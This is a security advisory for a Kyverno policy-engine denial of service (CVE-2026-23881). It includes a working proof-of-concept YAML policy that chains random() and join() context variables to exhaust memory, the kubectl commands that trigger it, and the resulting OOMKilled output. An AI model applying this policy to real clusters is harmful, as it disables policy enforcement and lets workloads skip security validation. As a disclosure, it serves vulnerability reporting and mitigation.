CVE-2026-23881: Kyverno Denial of Service via Context Variable Amplification in Policy Engine

Summary

Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.

Details

For example, the random() JMESPath function in pkg/engine/jmespath/functions.go generates random strings. Combined with the join() function, an attacker can create exponential string amplification through context variable chaining:

The PoC attack uses exponential doubling: - l0 = random('[a-zA-Z0-9]{1000}') → 1KB - l1 = join('', [l0, l0]) → 2KB - l2 = join('', [l1, l1]) → 4KB - ... continues to l18 → 256MB

The context evaluation has no cumulative size limit, allowing unbounded memory allocation.

PoC

Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).

1. Create namespace: bash kubectl create namespace poc-test

2. Observe pod statuses from kyverno namespace on another terminal: bash kubectl get pods -n kyverno -w

2. Apply malicious policy: yaml apiVersion: kyverno.io/v1 kind: Policy metadata: name: memory-exhaustion-poc namespace: poc-test spec: validationFailureAction: Enforce rules: - name: exhaust-memory match: any: - resources: kinds: - ConfigMap context: - name: l0 variable: jmesPath: random('[a-zA-Z0-9]{1000}') - name: l1 variable: jmesPath: join('', [l0, l0]) - name: l2 variable: jmesPath: join('', [l1, l1]) - name: l3 variable: jmesPath: join('', [l2, l2]) - name: l4 variable: jmesPath: join('', [l3, l3]) - name: l5 variable: jmesPath: join('', [l4, l4]) - name: l6 variable: jmesPath: join('', [l5, l5]) - name: l7 variable: jmesPath: join('', [l6, l6]) - name: l8 variable: jmesPath: join('', [l7, l7]) - name: l9 variable: jmesPath: join('', [l8, l8]) - name: l10 variable: jmesPath: join('', [l9, l9]) - name: l11 variable: jmesPath: join('', [l10, l10]) - name: l12 variable: jmesPath: join('', [l11, l11]) - name: l13 variable: jmesPath: join('', [l12, l12]) - name: l14 variable: jmesPath: join('', [l13, l13]) - name: l15 variable: jmesPath: join('', [l14, l14]) - name: l16 variable: jmesPath: join('', [l15, l15]) - name: l17 variable: jmesPath: join('', [l16, l16]) - name: l18 variable: jmesPath: join('', [l17, l17]) validate: message: "Memory exhaustion PoC" deny: conditions: any: - key: "{{ l18 }}" operator: Equals value: "impossible-match"

As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.

4. Trigger policy evaluation on the admission controller: bash kubectl create configmap trigger -n poc-test --from-literal=key=value

Response:

error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF

The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.

5. Check pod status from the kyverno namespace:

bash kubectl get pods -n kyverno

Outputs:

kyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m kyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m

While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same kubectl create configmap command from above and reproduce the crash.

Impact

Denial of Service with cluster-wide security impact. Users with Policy or ClusterPolicy creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:

- Pod OOMKill and service disruption - No logs on why the crash occurred (admission controller, reports controller) - Cluster-wide policy enforcement disabled and security policies stop being evaluated - If failurePolicy: Ignore is configured, workloads bypass all validation during outage - Applications depending on Kyverno mutations may deploy with incorrect configurations

Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.

Mitigation

Add a context size limit to prevent unbounded memory allocation during policy evaluation.